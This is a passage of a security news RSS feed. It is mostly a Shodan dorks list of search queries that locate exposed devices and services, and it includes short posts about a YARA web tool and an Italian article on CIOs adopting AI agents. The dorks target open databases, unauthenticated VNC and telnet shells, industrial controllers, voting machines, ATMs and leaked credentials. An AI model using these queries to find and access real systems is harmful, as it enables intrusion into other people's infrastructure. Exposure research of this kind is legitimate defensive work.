<code>device:webcam</code> <code>device:media</code> <code>device:"broadband router"</code> <code>device:pbx</code> <code>device:printer</code> <code>device:switch</code> <code>device:storage</code> <code>device:specialized</code> <code>device:phone</code> <code>device:"voip"</code> <code>device:"voip phone"</code> <code>device:"voip adaptor"</code> <code>device:"load balancer"</code> <code>device:"print server"</code> <code>device:terminal</code> <code>device:remote</code> <code>device:telecom</code> <code>device:power</code> <code>device:proxy</code> <code>device:pda</code> <code>device:bridge</code></p> <h3>Operating System</h3> <p><code>os:"windows 7"</code> <code>os:"windows server 2012"</code> <code>os:"linux 3.x"</code></p> <h3>Product</h3> <p><code>product:apache</code> <code>product:nginx</code> <code>product:android</code> <code>product:chromecast</code></p> <h3>Customer Premises Equipment (CPE)</h3> <p><code>cpe:apple</code> <code>cpe:microsoft</code> <code>cpe:nginx</code> <code>cpe:cisco</code></p> <h3>Server</h3> <p><code>server: nginx</code> <code>server: apache</code> <code>server: microsoft</code> <code>server: cisco-ios</code></p> <h3>ssh fingerprints</h3> <p><code>dc:14:de:8e:d7:c1:15:43:23:82:25:81:d2:59:e8:c0</code></p> <h1>Web</h1> <h3>Pulse Secure</h3> <p><code>http.html:/dana-na</code></p> <h3>PEM Certificates</h3> <p><code>http.title:"Index of /" http.html:".pem"</code></p> <h3>Tor / Dark Web sites</h3> <p><code>onion-location</code></p> <h1>Databases</h1> <h3>MySQL</h3> <p><code>"product:MySQL"</code> <code>mysql port:"3306"</code></p> <h3>MongoDB</h3> <p><code>"product:MongoDB"</code> <code>mongodb port:27017</code></p> <h3>Fully open MongoDBs</h3> <p><code>"MongoDB Server Information { "metrics":"</code> <code>"Set-Cookie: mongo-express=" "200 OK"</code> <code>"MongoDB Server Information" port:27017 -authentication</code></p> <h3>Kibana dashboards without authentication</h3> <p><code>kibana content-legth:217</code></p> <h3>elastic</h3> <p><code>port:9200 json</code> <code>port:"9200" all:elastic</code> <code>port:"9200" all:"elastic indices"</code></p> <h3>Memcached</h3> <p><code>"product:Memcached"</code></p> <h3>CouchDB</h3> <p><code>"product:CouchDB"</code> <code>port:"5984"+Server: "CouchDB/2.1.0"</code></p> <h3>PostgreSQL</h3> <p><code>"port:5432 PostgreSQL"</code></p> <h3>Riak</h3> <p><code>"port:8087 Riak"</code></p> <h3>Redis</h3> <p><code>"product:Redis"</code></p> <h3>Cassandra</h3> <p><code>"product:Cassandra"</code></p> <h1>Industrial Control Systems</h1> <h3>Samsung Electronic Billboards</h3> <p><code>"Server: Prismview Player"</code></p> <h3>Gas Station Pump Controllers</h3> <p><code>"in-tank inventory" port:10001</code></p> <h3>Fuel Pumps connected to internet:</h3> <p>No auth required to access CLI terminal. <code>"privileged command" GET</code></p> <h3>Automatic License Plate Readers</h3> <p><code>P372 "ANPR enabled"</code></p> <h3>Traffic Light Controllers / Red Light Cameras</h3> <p><code>mikrotik streetlight</code></p> <h3>Voting Machines in the United States</h3> <p>"voter system serial" country:US</p> <h3>Open ATM:</h3> <p>May allow for ATM Access availability <code>NCR Port:"161"</code></p> <h3>Telcos Running Cisco Lawful Intercept Wiretaps</h3> <p><code>"Cisco IOS" "ADVIPSERVICESK9_LI-M"</code></p> <h3>Prison Pay Phones</h3> <p><code>"[2J[H Encartele Confidential"</code></p> <h3>Tesla PowerPack Charging Status</h3> <p><code>http.title:"Tesla PowerPack System" http.component:"d3" -ga3ca4f2</code></p> <h3>Electric Vehicle Chargers</h3> <p><code>"Server: gSOAP/2.8" "Content-Length: 583"</code></p> <h3>Maritime Satellites</h3> <p>Shodan made a pretty sweet Ship Tracker that maps ship locations in real time, too!</p> <p><code>"Cobham SATCOM" OR ("Sailor" "VSAT")</code></p> <h3>Submarine Mission Control Dashboards</h3> <p><code>title:"Slocum Fleet Mission Control"</code></p> <h3>CAREL PlantVisor Refrigeration Units</h3> <p><code>"Server: CarelDataServer" "200 Document follows"</code></p> <h3>Nordex Wind Turbine Farms</h3> <p><code>http.title:"Nordex Control" "Windows 2000 5.0 x86" "Jetty/3.1 (JSP 1.1; Servlet 2.2; java 1.6.0_14)"</code></p> <h3>C4 Max Commercial Vehicle GPS Trackers</h3> <p><code>"[1m[35mWelcome on console"</code></p> <h3>DICOM Medical X-Ray Machines</h3> <p>Secured by default, thankfully, but these 1,700+ machines still have no business being on the internet.</p> <p><code>"DICOM Server Response" port:104</code></p> <h3>GaugeTech Electricity Meters</h3> <p><code>"Server: EIG Embedded Web Server" "200 Document follows"</code></p> <h3>Siemens Industrial Automation</h3> <p><code>"Siemens, SIMATIC" port:161</code></p> <h3>Siemens HVAC Controllers</h3> <p><code>"Server: Microsoft-WinCE" "Content-Length: 12581"</code></p> <h3>Door / Lock Access Controllers</h3> <p><code>"HID VertX" port:4070</code></p> <h3>Railroad Management</h3> <p><code>"log off" "select the appropriate"</code></p> <h3>Tesla Powerpack charging Status:</h3> <p>Helps to find the charging status of tesla powerpack. <code>http.title:"Tesla PowerPack System" http.component:"d3" -ga3ca4f2</code></p> <h3>XZERES Wind Turbine</h3> <p><code>title:"xzeres wind"</code></p> <h3>PIPS Automated License Plate Reader</h3> <p><code>"html:"PIPS Technology ALPR Processors""</code></p> <h3>Modbus</h3> <p><code>"port:502"</code></p> <h3>Niagara Fox</h3> <p><code>"port:1911,4911 product:Niagara"</code></p> <h3>GE-SRTP</h3> <p><code>"port:18245,18246 product:"general electric""</code></p> <h3>MELSEC-Q</h3> <p><code>"port:5006,5007 product:mitsubishi"</code></p> <h3>CODESYS</h3> <p><code>"port:2455 operating system"</code></p> <h3>S7</h3> <p><code>"port:102"</code></p> <h3>BACnet</h3> <p><code>"port:47808"</code></p> <h3>HART-IP</h3> <p><code>"port:5094 hart-ip"</code></p> <h3>Omron FINS</h3> <p><code>"port:9600 response code"</code></p> <h3>IEC 60870-5-104</h3> <p><code>"port:2404 asdu address"</code></p> <h3>DNP3</h3> <p><code>"port:20000 source address"</code></p> <h3>EtherNet/IP</h3> <p><code>"port:44818"</code></p> <h3>PCWorx</h3> <p><code>"port:1962 PLC"</code></p> <h3>Crimson v3.0</h3> <p><code>"port:789 product:"Red Lion Controls"</code></p> <h3>ProConOS</h3> <p><code>"port:20547 PLC"</code></p> <h1>Remote Desktop</h1> <h3>Unprotected VNC</h3> <p><code>"authentication disabled" port:5900,5901</code> <code>"authentication disabled" "RFB 003.008"</code></p> <h3>Windows RDP</h3> <p>99.99% are secured by a secondary Windows login screen.</p> <p><code>"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"</code></p> <h1>C2 Infrastructure</h1> <h3>CobaltStrike Servers</h3> <p><code>product:"cobalt strike team server"</code> <code>product:"Cobalt Strike Beacon"</code> <code>ssl.cert.serial:146473198</code> - default certificate serial number <code>ssl.jarm:07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1</code> <code>ssl:foren.zik</code></p> <h3>Brute Ratel</h3> <p><code>http.html_hash:-1957161625</code> <code>product:"Brute Ratel C4"</code></p> <h3>Covenant</h3> <p><code>ssl:"Covenant" http.component:"Blazor"</code></p> <h3>Metasploit</h3> <p><code>ssl:"MetasploitSelfSignedCA"</code></p> <h1>Network Infrastructure</h1> <h3>Hacked routers:</h3> <p>Routers which got compromised <code>hacked-router-help-sos</code></p> <h3>Redis open instances</h3> <p><code>product:"Redis key-value store"</code></p> <h3>Citrix:</h3> <p>Find Citrix Gateway. <code>title:"citrix gateway"</code></p> <h3>Weave Scope Dashboards</h3> <p>Command-line access inside <a href="https://www.kitploit.com/search/label/Kubernetes" target="_blank" title="Kubernetes">Kubernetes</a> pods and Docker containers, and real-time visualization/monitoring of the entire infrastructure.</p> <p><code>title:"Weave Scope" http.favicon.hash:567176827</code></p> <h3>Jenkins CI</h3> <p><code>"X-Jenkins" "Set-Cookie: JSESSIONID" http.title:"Dashboard"</code></p> <h3>Jenkins:</h3> <p>Jenkins Unrestricted Dashboard <code>x-jenkins 200</code></p> <h3>Docker APIs</h3> <p><code>"Docker Containers:" port:2375</code></p> <h3>Docker Private Registries</h3> <p><code>"Docker-Distribution-Api-Version: registry" "200 OK" -gitlab</code></p> <h3>Pi-hole Open DNS Servers</h3> <p><code>"dnsmasq-pi-hole" "Recursion: enabled"</code></p> <h3>DNS Servers with recursion</h3> <p><code>"port: 53" Recursion: Enabled</code></p> <h3>Already Logged-In as root via Telnet</h3> <p><code>"root@" port:23 -login -password -name -Session</code></p> <h3>Telnet Access:</h3> <p>NO password required for telnet access. <code>port:23 console gateway</code></p> <h3>Polycom video-conference system no-auth shell</h3> <p><code>"polycom command shell"</code></p> <h3>NPort serial-to-eth / MoCA devices without password</h3> <p><code>nport -keyin port:23</code></p> <h3>Android Root Bridges</h3> <p>A tangential result of Google's sloppy fractured update approach. 🙄 More information here.</p> <p><code>"Android Debug Bridge" "Device" port:5555</code></p> <h3>Lantronix Serial-to-Ethernet Adapter Leaking Telnet Passwords</h3> <p><code>Lantronix password port:30718 -secured</code></p> <h3>Citrix Virtual Apps</h3> <p><code>"Citrix Applications:" port:1604</code></p> <h3>Cisco Smart Install</h3> <p>Vulnerable (kind of "by design," but especially when exposed).</p> <p><code>"smart install client active"</code></p> <h3>PBX IP Phone Gateways</h3> <p><code>PBX "gateway console" -password port:23</code></p> <h3>Polycom Video Conferencing</h3> <p><code>http.title:"- Polycom" "Server: lighttpd"</code> <code>"Polycom Command Shell" -failed port:23</code></p> <h3>Telnet Configuration:</h3> <p><code>"Polycom Command Shell" -failed port:23</code></p> <p>Example: Polycom Video Conferencing</p> <h3>Bomgar Help Desk Portal</h3> <p><code>"Server: Bomgar" "200 OK"</code></p> <h3>Intel Active Management CVE-2017-5689</h3> <p><code>"Intel(R) Active Management Technology" port:623,664,16992,16993,16994,16995</code> <code>"Active Management Technology"</code></p> <h3>HP iLO 4 CVE-2017-12542</h3> <p><code>HP-ILO-4 !"HP-ILO-4/2.53" !"HP-ILO-4/2.54" !"HP-ILO-4/2.55" !"HP-ILO-4/2.60" !"HP-ILO-4/2.61" !"HP-ILO-4/2.62" !"HP-iLO-4/2.70" port:1900</code></p> <h3>Lantronix ethernet adapter's admin interface without password</h3> <p><code>"Press Enter for Setup Mode port:9999"</code></p> <h3>Wifi Passwords:</h3> <p>Helps to find the cleartext wifi passwords in Shodan. <code>html:"def_wirelesspassword"</code></p> <h3>Misconfigured Wordpress Sites:</h3> <p>The wp-config.php if accessed can give out the database credentials. <code>http.html:"* The wp-config.php creation script uses this file"</code></p> <h1>Outlook Web Access:</h1> <h3>Exchange 2007</h3> <p><code>"x-owa-version" "IE=EmulateIE7" "Server: Microsoft-IIS/7.0"</code></p> <h3>Exchange 2010</h3> <p><code>"x-owa-version" "IE=EmulateIE7" http.favicon.hash:442749392</code></p> <h3>Exchange 2013 / 2016</h3> <p><code>"X-AspNet-Version" http.title:"Outlook" -"x-owa-version"</code></p> <h3>Lync / Skype for Business</h3> <p><code>"X-MS-Server-Fqdn"</code></p> <h1>Network Attached Storage (NAS)</h1> <h3>SMB (Samba) File Shares</h3> <p>Produces ~500,000 results...narrow down by adding "Documents" or "Videos", etc.</p> <p><code>"Authentication: disabled" port:445</code></p> <h3>Specifically domain controllers:</h3> <p><code>"Authentication: disabled" NETLOGON SYSVOL -unix port:445</code></p> <h3>Concerning default network shares of QuickBooks files:</h3> <p><code>"Authentication: disabled" "Shared this folder to access QuickBooks files OverNetwork" -unix port:445</code></p> <h3>FTP Servers with Anonymous Login</h3> <p><code>"220" "230 Login successful." port:21</code></p> <h3>Iomega / LenovoEMC NAS Drives</h3> <p><code>"Set-Cookie: iomega=" -"manage/login.html" -http.title:"Log In"</code></p> <h3>Buffalo TeraStation NAS Drives</h3> <p><code>Redirecting sencha port:9000</code></p> <h3>Logitech Media Servers</h3> <p><code>"Server: Logitech Media Server" "200 OK"</code></p> <p>Example: Logitech Media Servers</p> <h3>Plex Media Servers</h3> <p><code>"X-Plex-Protocol" "200 OK" port:32400</code></p> <h3>Tautulli / PlexPy Dashboards</h3> <p><code>"CherryPy/5.1.0" "/home"</code></p> <h3>Home router attached USB</h3> <p><code>"IPC$ all storage devices"</code></p> <h1>Webcams</h1> <h3>Generic camera search</h3> <p><code>title:camera</code></p> <h3>Webcams with screenshots</h3> <p><code>webcam has_screenshot:true</code></p> <h3>D-Link webcams</h3> <p><code>"d-Link Internet Camera, 200 OK"</code></p> <h3>Hipcam</h3> <p><code>"Hipcam RealServer/V1.0"</code></p> <h3>Yawcams</h3> <p><code>"Server: yawcam" "Mime-Type: text/html"</code></p> <h3>webcamXP/webcam7</h3> <p><code>("webcam 7" OR "webcamXP") http.component:"mootools" -401</code></p> <h3>Android IP Webcam Server</h3> <p><code>"Server: IP Webcam Server" "200 OK"</code></p> <h3>Security DVRs</h3> <p><code>html:"DVR_H264 ActiveX"</code></p> <h3>Surveillance Cams:</h3> <p>With username:admin and password: :P <code>NETSurveillance uc-httpd</code> <code>Server: uc-httpd 1.0.0</code></p> <h1>Printers &amp; Copiers:</h1> <h3>HP Printers</h3> <p><code>"Serial Number:" "Built:" "Server: HP HTTP"</code></p> <h3>Xerox Copiers/Printers</h3> <p><code>ssl:"Xerox Generic Root"</code></p> <h3>Epson Printers</h3> <p><code>"SERVER: EPSON_Linux UPnP" "200 OK"</code></p> <p><code>"Server: EPSON-HTTP" "200 OK"</code></p> <h3>Canon Printers</h3> <p><code>"Server: KS_HTTP" "200 OK"</code></p> <p><code>"Server: CANON HTTP Server"</code></p> <h1>Home Devices</h1> <h3>Yamaha Stereos</h3> <p><code>"Server: AV_Receiver" "HTTP/1.1 406"</code></p> <h3>Apple AirPlay Receivers</h3> <p>Apple TVs, HomePods, etc.</p> <p><code>"\x08_airplay" port:5353</code></p> <h3>Chromecasts / Smart TVs</h3> <p><code>"Chromecast:" port:8008</code></p> <h3>Crestron Smart Home Controllers</h3> <p><code>"Model: PYNG-HUB"</code></p> <h1>Random Stuff</h1> <h3>Calibre libraries</h3> <p><code>"Server: calibre" http.status:200 http.title:calibre</code></p> <h3>OctoPrint 3D Printer Controllers</h3> <p><code>title:"OctoPrint" -title:"Login" http.favicon.hash:1307375944</code></p> <h3>Etherium Miners</h3> <p><code>"ETH - Total speed"</code></p> <h3>Apache Directory Listings</h3> <p>Substitute .pem with any extension or a filename like phpinfo.php.</p> <p><code>http.title:"Index of /" http.html:".pem"</code></p> <h3>Misconfigured WordPress</h3> <p>Exposed wp-config.php files containing database credentials.</p> <p><code>http.html:"* The wp-config.php creation script uses this file"</code></p> <h3>Too Many Minecraft Servers</h3> <p><code>"Minecraft Server" "protocol 340" port:25565</code></p> <h3>Literally Everything in North Korea</h3> <p><code>net:175.45.176.0/22,210.52.109.0/24,77.94.35.0/24</code></p><br><br><div><b><span><a class="kiploit-download" href="https://github.com/nullfuzz-pentest/shodan-dorks" rel="nofollow" target="_blank" title="Download Shodan-Dorks">Download Shodan-Dorks</a></span></b></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tool: YARA Playground]]></title>
<description><![CDATA[Hi all, I often find myself needing to sanity-check a YARA rule against a test string or small binary, but spinning up the CLI or Docker feels heavy. So I built **YARA Playground** – a single-page web app that compiles `libyara` to WebAssembly and runs entirely client-side (no samples leave your ...]]></description>
<link>https://tsecurity.de/de/2753599/reverse-engineering/tool-yara-playground/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2753599/reverse-engineering/tool-yara-playground/</guid>
<pubDate>Fri, 02 May 2025 03:40:18 +0200</pubDate>
<category>🕵️ Reverse Engineering</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Hi all,</p> <p>I often find myself needing to sanity-check a YARA rule against a test</p> <p>string or small binary, but spinning up the CLI or Docker feels heavy.</p> <p>So I built **YARA Playground** – a single-page web app that compiles</p> <p>`libyara` to WebAssembly and runs entirely client-side (no samples leave</p> <p>your browser).</p> <p>• CodeMirror 6 editors for rule + sample </p> <p>• WASM YARA-X engine, error guard for slow patterns </p> <p>• Shows pretty JSON, and tabular matches</p> <p>• Supports 10 MiB binary upload, auto-persists last rule/sample </p> <p><a href="https://www.yaraplayground.com/">https://www.yaraplayground.com</a></p> <p>Tech stack: Vite, TypeScript, CodeMirror, libyara-wasm (≈230 kB),</p> <p>Would love feedback, feature requests or bug reports (especially edge-</p> <p>case rules).</p> <p>I hope it's useful to someone, thanks!</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Diligent_Desk5592"> /u/Diligent_Desk5592 </a> <br> <span><a href="https://www.yaraplayground.com/">[link]</a></span>   <span><a href="https://www.reddit.com/r/ReverseEngineering/comments/1kcpbw1/tool_yara_playground/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI Agents: per i CIO sono il futuro (ma con cautela)]]></title>
<description><![CDATA[Nello studio di Deloitte “Tech Trends 2025 [in inglese]” l’intelligenza artificiale è il filo conduttore di quasi ogni tendenza dell’anno. In un futuro non troppo lontano entrerà nelle fondamenta stesse delle nostre vite, al pari dell’elettricità o di Internet, ma già oggi viviamo dell’era dell’A...]]></description>
<link>https://tsecurity.de/de/2735664/it-security-nachrichten/ai-agents-per-i-cio-sono-il-futuro-ma-con-cautela/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2735664/it-security-nachrichten/ai-agents-per-i-cio-sono-il-futuro-ma-con-cautela/</guid>
<pubDate>Tue, 22 Apr 2025 07:04:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Nello studio di Deloitte “<a href="https://www2.deloitte.com/content/dam/insights/articles/us187540_tech-trends-2025/DI_Tech-trends-2025.pdf" rel="nofollow"><strong>Tech Trends 2025 [in inglese]</strong></a>” l’intelligenza artificiale è il filo conduttore di quasi ogni tendenza dell’anno. In un futuro non troppo lontano entrerà nelle fondamenta stesse delle nostre vite, al pari dell’elettricità o di Internet, ma già oggi viviamo dell’era dell’AI everywhere. È stata l’<a href="https://www.cio.com/article/3492348/ai-e-genai-4-trend-in-azienda-che-non-devono-sfuggire-al-cio.html"><strong>AI generativa</strong></a> a determinare questo cambio di passo, spingendo le aziende a sperimentare i Large Language Models (LLM). Ma la tecnologia corre veloce e le evoluzioni si susseguono e quest’anno l’attenzione è puntata sugli Agenti AI, capaci non solo di rispondere a domande e effettuare ricerche, ma di svolgere compiti per conto nostro e in base alle nostre istruzioni.</p>



<p>L’AI generativa entra così nell’era dell’agentificazione, in cui i sistemi intelligenti evolvono da attività isolate ad agenti specializzati e interconnessi, come ha scritto Capgemini nel report “<a href="https://www.capgemini.com/news/press-releases/technovision-top-5-tech-trends-to-watch-in-2025/" rel="nofollow"><strong>TechnoVision Top 5 Tech trends to watch in 2025 [in inglese]</strong></a>”. Grazie alle crescenti capacità di ragionamento logico dei modelli di GenAI, gli Agent inizieranno a operare in modo più autonomo, offrendo risultati più affidabili e basati su dati concreti, e saranno in grado di gestire attività come le catene di approvvigionamento e la manutenzione predittiva senza la costante supervisione umana. Secondo un sondaggio del Capgemini Research Institute su 1.500 dirigenti globali, pubblicato a gennaio 2025, il 32% ritiene gli Agenti di intelligenza artificiale la principale tendenza<strong> </strong>tecnologica in ambito Data &amp; AI per il 2025. </p>



<p>“Gli investimenti sull’AI stanno crescendo a ritmi vertiginosi, di pari passo con il progresso della tecnologia”, sottolinea Alberto Dalla Francesca, CIO di Omis Group (manifattura di macchinari industriali). “L’evoluzione è così veloce che ho smesso di fare piani a tre anni, mi fermo a due. Ma due anni fa non avrei mai immaginato che nel 2025 avremmo <a href="https://www.cio.com/article/3629506/lai-ha-cambiato-tutto-ecco-perche-per-i-cio-e-la-tecnologia-del-decennio.html"><strong>investito così tanto nell’intelligenza artificiale</strong></a>, sia come Machine Learning che come GenAI e Agenti”.</p>



<p>“Gli Agents indicano entità dotate di agency, ovvero capacità autonoma di scelta e azione. Secondo me, sono destinati a imporsi come evoluzione dell’automazione dei processi aziendali, prendendo sempre più campo”, dichiara Luca Seravalli, CIO di Duferco Energia e Delegato per la Liguria del CIO Club Italia.</p>



<p>Secondo <a href="https://blogs.idc.com/2025/04/04/the-agentic-evolution-of-enterprise-applications/" rel="nofollow"><strong>IDC [in inglese]</strong></a>, entro tre-quattro anni gli AI Agents trasformeranno e potenzieranno le applicazioni enterprise.</p>



<h2 class="wp-block-heading">AI Agents, il futuro “inevitabile” dell’automazione</h2>



<p>Seravalli considera gli Agenti AI un passo in avanti nel processo di democratizzazione dell’IT e di automazione dei processi.Secondo il CIO, ammettendo sempre di avere alla base una data governance appropriata, l’automazione dei processi in azienda può efficacemente evolvere dall’impiego dell’RPA (Robotic Process Automation) all’applicazione dell’AI fino all’uso degli Agents.</p>



<p>“A loro volta gli Agenti possono salire di grado nelle loro funzionalità, perché possono sia eseguire dei workflow sia orchestrarli: con gli LLM intelligenti sarà l’agente a decidere se svolgere certe attività o soddisfare certe richieste orchestrando i sistemi aziendali tramite le integrazioni disponibili”, commenta Seravalli.</p>



<p>Duferco Energia sta sperimentando sia gli Agenti AI Salesforce che altri strumenti AI, ma sempre per flussi di lavoro sui framework esistenti e solo per le attività interne e ancora non verso i clienti (per esempio, con dei chatbot costruiti sugli LLM).</p>



<p>Anche con gli AI Agents, infatti, “Restano i problemi tipici degli LLM, come le allucinazioni e gli errori”, chiarisce Seravalli, “e oggi per un CIO fare progetti con gli Agenti significa implementare dei guardrail, facendo in modo che il sistema capisca il contesto e sappia rispondere correttamente o portare alla luce eventuali errori. Il compito di un IT moderno è definire, in collaborazione con il business, una governance forte e sicura”.</p>



<p>Infatti la democratizzazione dell’IT, ovvero dare gli strumenti digitali a tutti gli utenti aziendali, anche in modalità self-service, significa che il business diventa co-responsabile del buon funzionamento di questi strumenti, accanto all’IT che fornisce le regole per usarli in modo sicuro, trasparente e affidabile.</p>



<p>“Io cerco di puntare sugli aspetti culturali”, afferma Seravalli. “Nelle aziende che adottano l’AI è importante che tutte le persone capiscano che il dato generato deve essere di qualità e che, se non lo è, il problema non è solo dell’IT ma è soprattutto del business, perché dalla qualità del dato dipende la possibilità di fare self-BI e ottenere insight”.</p>



<p>Duferco Energia sta svolgendo attività di formazione per tutto il personale su che cosa significa essere un’azienda data-driven e che cosa sono gli LLM.</p>



<p>“Tecnologie come Copilot ormai sono molto diffuse, ma il punto è capire come vanno usate e conoscerne i rischi, oltre alle opportunità”, chiarisce Seravalli. “Il CIO ha il fondamentale compito di creare gestione e governance, dare senso e robustezza al sistema”.</p>



<h2 class="wp-block-heading">Attenzione a governance e costi</h2>



<p>È un punto di vista condiviso tra i CIO italiani. Molti definiscono gli AI Agents “inevitabili” come evoluzione dell’AI Generativa e ne stanno valutando l’implementazione; tuttavia, la maggior parte non pensa a un’adozione diffusa, ma mirata a precisi casi d’uso, come gli applicativi che devono effettuare task specifici in amministrazione e nel supporto tecnico. Tutti ribadiscono l’importanza del coinvolgimento del business, mentre il CIO dirige la governance.</p>



<p>Anche Sara Volino Coppola, Chief of Information &amp; Digital Office di Alia Servizi Ambientali, Multiutility toscana, crede molto negli Agenti come evoluzione dell’RPA. Ma fa notare: “Non è detto che saranno economicamente sostenibili. Da un lato, c’è la tutela del lavoro: le aziende che pensano di sostituire le persone con gli Agenti – e in molte mansioni è possibile, con ottime prestazioni – non avranno la strada aperta, almeno in Italia. D’altro lato, non necessariamente si risparmierà, perché i vendor hanno un modello di prezzo per gli Agents basato su conversazione o token e questo significa, almeno al momento, che usare Agenti AI con una certa capacità ha un costo molto elevato”.</p>



<p>Per questo Alia, che usa l’AI da tempo nella forma di Machine Learning, sull’AI Generativa e gli LLM è ancora in fase di riflessione e usa queste tecnologie con parsimonia. </p>



<p>“Il problema dell’AI oggi è la tanta offerta e la differenza tra ciò che i fornitori presentano e ciò che offrono veramente”, sottolinea Volino.</p>



<p>C’è un altro rischio con l’AI: quello dell’aumento esponenziale dei <a href="https://www.cio.com/article/3962972/i-cio-stanno-spendendo-troppo-per-il-cloud-ma-pensano-ancora-che-ne-valga-la-pena.html"><strong>costi del cloud</strong></a>. Per questo è così importante evitare il vendor lock-in e coltivare le competenze interne.</p>



<p>“Io sono a favore del cloud, è una tecnologia che ci libera da tante preoccupazioni, come la sicurezza, la ridondanza o la business continuity. Ma bisogna disegnare le applicazioni – incluse quelle AI o per la data platform – valutando le possibili alternative”, afferma Volino. “Ogni opzione tecnologica ha un costo diverso e noi sviluppiamo le applicazioni in modo da essere in grado di andare su altri cloud. Questo ci rende indipendenti dai singoli fornitori e ci dà un potere negoziale che non avremmo se dipendessimo completamente da un cloud provider. Sviluppando con strumenti cloud-independent, possiamo entrare nel cloud o uscire in base a quanto è opportuno per l’azienda: non è facile, ma possiamo trattare con i fornitori, anziché lasciarci imporre prezzi e clausole contrattuali”.</p>



<h2 class="wp-block-heading">Un esempio pratico</h2>



<p>Molti CIO evidenziano il valore delle competenze interne che devono accompagnare i progetti AI. Inoltre, se per molti le potenzialità sono enormi, resta da vedere quali saranno i risultati nel lungo periodo: la promessa sulla produttività sarà mantenuta? Per questo si procede con l’individuazione di singoli casi d’uso e prototipi.</p>



<p>Dalla Francesca di Omis Group ha avviato le sperimentazioni con gli AI Agents iniziando da un Agente – attualmente in fase di test – che dà supporto alla funzione HR. Questo software AI aiuta il personale, sia amministrativo che di fabbrica, a trovare risposte alle domande sulle procedure relative alla gestione delle risorse umane (informazioni su trasferte e assegni familiari, richiesta di ferie, timbratura dei cartellini, e così via), evitando loro di dover passare ogni volta per gli uffici HR.</p>



<p>“Queste informazioni si trovano tutte nel regolamento aziendale oppure nel nostro database con tecnologia AI in cui abbiamo raccolto una serie di domande e risposte”, spiega Dalla Francesca. “L’Agente AI attinge a queste fonti e risponde alle domande che vengono fatte su Teams via chat o messaggio vocale”.</p>



<p>Omis ha costruito l’agente usando Copilot Studio, nella cui tariffa è inclusa la realizzazione gratuita del primo Agente. Il team di Dalla Francesca lo ha sviluppato in modo che capisca e risponda in 17 lingue diverse, perché il personale di produzione di Omis è multinazionale.</p>



<p>“L’Agente sostituisce il lavoro che svolgono una-due persone nell’HR e ci permette di dedicare queste risorse ad altre attività più di valore”, aggiunge il CIO. “Comunque alla fine del flusso, se non si è arrivati a una risposta definitiva, l’Agente AI passa l’interazione alla persona in carne ed ossa dell’HR proponendo un appuntamento”.</p>



<p>L’HR Agent è stato fortemente voluto dal CHRO di Omis. La collaborazione e la sinergia tra ICT ed HR sono state un forte motore per questo progetto, e lo saranno ancora per i prossimi.</p>



<p>Già mentre proseguono i test di questo Agent, il team di Dalla Francesca sta cercando di sviluppare un Agente che svolge gli stessi compiti, ma che può essere interrogato via WhatsApp. In questo caso sta utilizzando le API di WhatsApp for Business: il prototipo funziona bene e il rilascio è previsto in tempi brevi.</p>



<p>Sviluppare gli Agenti, infatti, non richiede necessariamente molto tempo e personale: l’Agente per l’HR di Omis è stato realizzato in una sola settimana da una giovane tirocinante di grande talento, che in due giorni ha creato l’Agent e in tre giorni gli ha fornito la documentazione.</p>



<p>“In futuro potremo decidere di sviluppare Altri agenti con le stesse modalità e finalità, per esempio, per gestire il ticketing nell’ICT, dando risposte alle domande e risolvendo almeno una parte dei problemi in modo automatizzato e self-service”, tiene a precisare Dalla Francesca.</p>



<p>Anche in questo caso è prevista l’attività di formazione sull’uso dell’AI in azienda: “L’AI è ormai molto diffusa, ma va trattata con consapevolezza”, rileva ancora. “Ho in programma di organizzare, insieme all’HR, corsi per i nostri utenti interni, come del resto è previsto anche dall’AI Act”.</p>



<h2 class="wp-block-heading">Le quattro sfide dell’agentificazione</h2>



<p>Per costruire gli Agenti, i CIO italiani tendono ad usare una combinazione tra la tecnologia di un vendor di cui già pagano le licenze e che fornisce la piattaforma, e lo sviluppo interno per l’ingegnerizzazione dello specifico bot. In questo modo si riesce a realizzare qualche prototipo contenendo i costi. L’approccio prevalente è quello graduale: si implementano gli Agents in attività specifiche e si raccoglie il feedback degli utenti, misurando attentamente i benefici prima di validare definitivamente il prodotto e di estenderlo ad altre aree. Inoltre, i CIO sono molto sensibili alle questioni della <a href="https://www.google.com/url?client=internal-element-cse&amp;cx=222eaa673b33c42b3&amp;q=https://www.cio.com/article/3952873/ecco-come-lai-aggiunge-complessita-alla-cybersicurezza-e-alle-frodi.html&amp;sa=U&amp;ved=2ahUKEwiWn8um2eiMAxVc_rsIHUFLG-8QFnoECAgQAQ&amp;usg=AOvVaw0tsnkcS5hKuI_YZ6_uBNyZ" rel="nofollow"><strong>cybersicurezza</strong></a> e, da questo punto di vista, mostrano ancora più cautela.</p>



<p>“II primo punto cui prestare attenzione è quello della governance legale”, evidenzia Giacomo Degasperi, esperto legale e fondatore della piattaforma divulgativa Legal4tech. “Gli Agenti AI ricadono certamente nell’<a href="https://www.google.com/url?client=internal-element-cse&amp;cx=222eaa673b33c42b3&amp;q=https://www.cio.com/article/2140008/ai-act-lintervista-al-co-relatore-brando-benifei-guida-per-il-cio-a-una-compliance-sostenibile.html&amp;sa=U&amp;ved=2ahUKEwia9rDC2eiMAxVI_bsIHQsgOBoQFnoECAgQAg&amp;usg=AOvVaw3-NdRIbVnVx4t9G38xzY5F" rel="nofollow"><strong>AI Act</strong></a>, che classifica i sistemi AI in base ai livelli di rischio per i diritti fondamentali, ma resta da capire che cosa succede nel caso in cui occorra spiegare come gli Agenti operano. Il tema è quello della trasparenza algoritmica, e vale per tutti i sistemi di intelligenza artificiale”.</p>



